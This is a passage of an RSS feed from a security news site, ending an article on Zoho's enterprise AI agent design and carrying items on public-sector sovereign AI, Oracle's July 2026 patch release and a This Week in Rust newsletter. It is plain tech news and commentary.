<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
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<title><![CDATA[Sovereign AI has become the public-sector CIO’s control problem]]></title>
<description><![CDATA[In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving in...]]></description>
<link>https://tsecurity.de/de/3688461/it-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688461/it-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</guid>
<pubDate>Thu, 23 Jul 2026 11:05:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.</p>



<p class="wp-block-paragraph">They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a <a href="https://institute.global/insights/tech-and-digitalisation/sovereignty-in-the-age-of-ai-strategic-choices-structural-dependencies">January 2026 Tony Blair Institute analysis</a>, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?</p>



<h2 class="wp-block-heading">The 5 layers of public-sector control</h2>



<p class="wp-block-paragraph">For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:</p>



<ul class="wp-block-list">
<li><strong>Data control:</strong> Where sensitive public data sits, and whether it can train a vendor’s model.</li>



<li><strong>Model control:</strong> Which models clear which workloads, and under what validation.</li>



<li><strong>Infrastructure control:</strong> Whether critical workloads run in approved environments.</li>



<li><strong>Operational control:</strong> Whether AI-assisted actions are logged, monitored and reversible.</li>



<li><strong>Vendor control:</strong> Whether the agency keeps portability, audit rights and a real exit.</li>
</ul>



<p class="wp-block-paragraph">Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “<a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">AI without sovereignty is just outsourced intelligence</a>”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.</p>



<p class="wp-block-paragraph">Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.</p>



<h2 class="wp-block-heading">Evaluating risk: Concentration, jurisdiction and shadow AI</h2>



<p class="wp-block-paragraph">Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update <a href="https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update">crashed about 8.5 million Windows machines</a>, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.</p>



<p class="wp-block-paragraph">The second is jurisdiction. In June 2025, Microsoft’s legal director for France <a href="https://www.sdxcentral.com/news/microsoft-tells-french-lawmakers-it-cant-protect-user-data-from-us-demands/">told a Senate inquiry, under oath</a>, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold <a href="https://www.srgresearch.com/articles/european-cloud-providers-local-market-share-now-holds-steady-at-15">about 70% of the European cloud market</a>, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.</p>



<p class="wp-block-paragraph">The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.</p>



<p class="wp-block-paragraph">Mandating domestic-only provision before a competitive option exists inverts sovereignty. <a href="https://europe2031.ai/summary">Europe 2031</a>, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.</p>



<p class="wp-block-paragraph">Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform <a href="https://www.pib.gov.in/PressReleaseIframePage.aspx?PRID=2093333&amp;reg=3&amp;lang=2">serving 100 million-plus inferences a month across 22-plus languages</a> on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.</p>



<h2 class="wp-block-heading">Building an operational sovereignty strategy</h2>



<p class="wp-block-paragraph">Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s <a href="https://www.oecd.org/en/publications/governing-with-artificial-intelligence_795de142-en.html">2025 review of government AI</a> warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.</p>



<p class="wp-block-paragraph">None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an <a href="https://berthub.eu/articles/posts/gaia-x-is-an-expensive-distraction/">“expensive distraction”</a> that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.</p>



<p class="wp-block-paragraph">Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:</p>



<ol start="1" class="wp-block-list">
<li>Can we classify AI workloads by public-service risk?</li>



<li>Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?</li>



<li>Can we restrict which models are approved for which data classes and functions?</li>



<li>Can we reconstruct an AI-assisted action in enough detail to explain it?</li>



<li>Can we change providers without losing continuity or institutional knowledge?</li>



<li>Can we explain the system to citizens, regulators, auditors and elected officials?</li>
</ol>



<p class="wp-block-paragraph">A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Oracle July 2026 Patch Fixes 1,434 CVEs Across 334 Products]]></title>
<description><![CDATA[Oracle has released its July 2026 Critical Patch Update, delivering one of its largest quarterly security releases to date. The latest Oracle security patch addresses more than 1,400 vulnerabilities across hundreds of products, with the company indicating that artificial intelligence likely playe...]]></description>
<link>https://tsecurity.de/de/3688240/it-security-nachrichten/oracle-july-2026-patch-fixes-1434-cves-across-334-products/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688240/it-security-nachrichten/oracle-july-2026-patch-fixes-1434-cves-across-334-products/</guid>
<pubDate>Thu, 23 Jul 2026 09:11:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1250" height="768" src="https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="July 2026 Critical Patch Update" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update.webp 1250w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-300x184.webp 300w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-1024x629.webp 1024w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-768x472.webp 768w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-600x369.webp 600w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-150x92.webp 150w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-750x461.webp 750w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-1140x700.webp 1140w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update.webp 1250w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-300x184.webp 300w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-1024x629.webp 1024w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-768x472.webp 768w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-600x369.webp 600w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-150x92.webp 150w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-750x461.webp 750w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-1140x700.webp 1140w" sizes="(max-width: 1250px) 100vw, 1250px" title="Oracle July 2026 Patch Fixes 1,434 CVEs Across 334 Products 1"></p><span data-contrast="auto">Oracle has released its July 2026 Critical Patch Update, delivering one of its largest quarterly security releases to date. The latest Oracle security patch addresses more than 1,400 vulnerabilities across hundreds of products, with the company indicating that artificial intelligence likely played a significant role in identifying most of the flaws.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">According to Oracle, the July 2026 Critical Patch Update contains 1,449 security patches, covering 1,434 unique Common <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="Vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29087">Vulnerabilities</a> and Exposures (CVEs) across 334 products. </span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">July 2026 Critical Patch Update Covers Hundreds of Oracle Products</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The latest Oracle <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29089">security</a> patch spans a wide range of enterprise products and platforms. Among the affected products are Database Server, Oracle APEX, Autonomous Health Framework, Essbase, Global Lifecycle Management, GoldenGate, NoSQL Database, Spatial Studio, SQL Developer, TimesTen In-Memory Database, Application Testing Suite, Commerce, Communications, Construction and Engineering, and E-Business Suite.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">The <a href="https://www.oracle.com/security-alerts/cpujul2026.html" target="_blank" rel="nofollow noopener">July 2026 Critical Patch Update</a> also includes security fixes for Enterprise Manager, Financial Services Applications, Food and Beverage Applications, Fusion Middleware, Analytics, HealthCare Applications, Hospitality Applications, Java SE, JD Edwards, MySQL, PeopleSoft, Retail Applications, Siebel CRM, Supply Chain, Systems, Utilities Applications, and Virtualization.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">By addressing vulnerabilities across such an extensive product lineup, the Oracle security patch aims to reduce the risk posed by <a href="https://thecyberexpress.com/critical-security-flaw-javascript-library-vm2/" target="_blank" rel="noopener">security weaknesses</a> that could affect organizations running Oracle technologies in production environments.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Hundreds of Vulnerabilities Can Be Exploited Remotely</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">A notable aspect of the July 2026 Critical Patch Update is the number of flaws that attackers could potentially <a class="wpil_keyword_link" href="https://cyble.com/exploit/" target="_blank" rel="noopener" title="exploit" data-wpil-keyword-link="linked" data-wpil-monitor-id="29088">exploit</a> without requiring authentication.</span>

<span data-contrast="auto">Oracle stated that roughly 600 of the patches fix vulnerabilities that can be exploited remotely by unauthenticated attackers. In addition, hundreds of the addressed security flaws have been assigned critical severity ratings, emphasizing the importance of applying the latest Oracle security patch without delay.</span>

<span data-contrast="auto">Among Oracle's products, the highest number of vulnerabilities were addressed in:</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>
<ul>
 	<li><span data-contrast="auto">E-Business Suite: 410 vulnerabilities</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span></li>
 	<li><span data-contrast="auto">Fusion Middleware: 355 vulnerabilities</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span></li>
 	<li><span data-contrast="auto">Communications: 168 vulnerabilities</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span></li>
 	<li><span data-contrast="auto">PeopleSoft: 84 vulnerabilities</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span></li>
</ul>
<span data-contrast="auto">These figures highlight that some of Oracle's most widely deployed enterprise applications received a significant share of the security fixes included in the quarterly update.</span>
<h3 aria-level="2"><b><span data-contrast="none">AI-Driven Vulnerability Discovery Appears to Have Played a Major Role</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">One of the most notable aspects of the July 2026 Critical Patch Update is Oracle's growing use of <a href="https://thecyberexpress.com/cisa-first-chief-artificial-intelligence-officer/" target="_blank" rel="noopener">artificial intelligence</a> for security research.</span>

<span data-contrast="auto">Only a few dozen of the vulnerabilities included in the release were credited to external security researchers. This indicates that the overwhelming majority of the discovered flaws were identified internally, likely with the assistance of AI-driven <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29086">vulnerability</a> analysis.</span>

<span data-contrast="auto">Earlier this year, Oracle disclosed that it has access to leading artificial intelligence systems, including Anthropic's Claude Mythos and OpenAI's most capable models. According to the company, these <a href="https://thecyberexpress.com/cisa-first-chief-artificial-intelligence-officer/" target="_blank" rel="noopener">AI technologies</a> are being used to accelerate vulnerability discovery and improve the speed and accuracy of security patch development.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">Oracle also said it is applying this AI-driven vulnerability approach across its own software and cloud services, Oracle Health offerings, and the open source components that it both develops and depends on.</span>
<h3 aria-level="2"><b><span data-contrast="none">Organizations Urged to Apply the Oracle Security Patch Promptly</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The release of the July 2026 Critical Patch Update comes amid continued efforts by <a href="https://thecyberexpress.com/cve-2026-41089-windows-netlogon-vulnerability/" target="_blank" rel="noopener">threat actors</a> to exploit vulnerabilities in enterprise software before organizations can deploy security updates.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">Oracle product vulnerabilities have previously been targeted in real-world attacks. The company cited examples that include the exploitation of a PeopleSoft zero-day vulnerability as well as a recently patched Oracle E-Business Suite (EBS) vulnerability.</span>

<span data-contrast="auto">Given the number of remotely exploitable and high-severity issues resolved in the Oracle security patch, organizations using affected Oracle products are advised to install the updates as soon as possible. Prompt deployment can help reduce exposure to attacks that take advantage of publicly known vulnerabilities before systems are secured.</span>

<span data-contrast="auto">With 1,449 security patches addressing 1,434 unique CVEs across 334 products, the July 2026 Critical Patch Update represents one of Oracle's most extensive quarterly security releases. </span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 661]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</guid>
<pubDate>Thu, 23 Jul 2026 07:18:12 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/07/16/Rust-1.97.1/">Announcing Rust 1.97.1</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-76">The Embedded Rustacean Issue #76</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://tokio.rs/blog/2026-07-22-announcing-topcoat">Announcing Topcoat: a framework for building full-stack reactive web apps with Rust</a></li>
<li><a href="https://github.com/dtolnay/syn/releases/tag/3.0.0">Syn 3.0.0</a></li>
<li><a href="https://blog.jetbrains.com/rust/2026/07/22/whats-new-in-rustrover-2026-2/">What’s New in RustRover 2026.2</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.35.0">kobe 0.35.0: readiness gates and cert recycling</a></li>
<li><a href="https://github.com/Eoin-McMahon/comhad/releases/tag/v0.1.0">Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3</a></li>
<li><a href="https://github.com/bigduu/Nova/releases/tag/v0.2.1">Nova v0.2.1: computer-use MCP server</a></li>
<li><a href="https://github.com/rust-windowing/winit/pull/4571">winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs</a></li>
<li><a href="https://github.com/singhpratech/crimson-crab/releases/tag/v0.1.0">crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)</a></li>
<li><a href="https://singhpratech.github.io/ferrovec/">ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search</a></li>
<li><a href="https://github.com/ordokr/ordofp/releases/tag/v0.1.0">OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)</a></li>
<li><a href="https://freyaui.dev/posts/0.4">Freya 0.4</a></li>
<li><a href="https://dev.to/nabsei/buildline-merging-cargo-and-ninjas-build-profiling-into-one-timeline-2373">buildline: merging cargo and ninja's build profiling into one timeline</a></li>
<li><a href="https://richer-richard.github.io/cochlea/determinism.html#030-additions-2026-07-22">cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine</a></li>
<li><a href="https://flodl.dev/blog/then-the-cpu-died">flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone</a></li>
<li><a href="https://hongnoul.github.io/hwatu/">hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.11.0">kache 0.11.0: broader compiler coverage and libc-aware keys</a></li>
<li><a href="https://mladedav.github.io/blog/blog/tracing-reload/"><code>tracing-reload</code> - reload layer without panics</a></li>
<li><a href="https://www.opentypeless.com/en/blog/introducing-talkmore">Introducing OpenTypeless: Voice Input That Actually Works</a></li>
<li><a href="https://dev.to/booyaka101/reading-a-rust-crates-capabilities-out-of-its-compiled-symbols-58pb">Reading a Rust crate's capabilities out of its compiled symbols</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://smallcultfollowing.com/babysteps/blog/2026/07/15/battery-packs/">Battery packs: Let's talk about crates, baby</a></li>
<li><a href="https://blog.yoshuawuyts.com/capture-clauses-as-effects">Capture Clauses as Effects</a></li>
<li><a href="https://corrode.dev/blog/hardening-rust/">Hardening Rust Code For Production</a></li>
<li><a href="https://pranitha.dev/posts/tokio-gives-progress-not-ordering/">Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks</a></li>
<li><a href="https://kerkour.com/rust-service-hardening-and-production-checklist">Rust service hardening and production checklist</a></li>
<li>[audio] <a href="https://corrode.dev/podcast/s06e08-rust-foundation/">The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=bAINppA0BSU">Jon Gjengset: Open Source Maintenance 2026-07-18</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=lUoQ3uGSQA0">Rust Release Changelog - 1.97.0</a></li>
<li>[video] <a href="https://www.youtube.com/live/Doqwh1b4QyA">Livestream: Rust in Ubuntu</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://kriyanative.com/blog/13-chain-breaks/">I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.</a></li>
<li><a href="https://dev.to/scripthpp/two-bugs-i-only-found-by-running-my-rust-sync-daemon-against-real-infrastructure-4278">Two tricky bugs in a Rust daemon</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=u91eX3J6lPU">Backend Concepts in Rust: Securely Managing App Secrets</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=tIrSvJFRxAg">Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/medialab/xan">xan</a>, a TUI toolkit to work with CSV files.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1630">Simeon H.K. Fitch</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
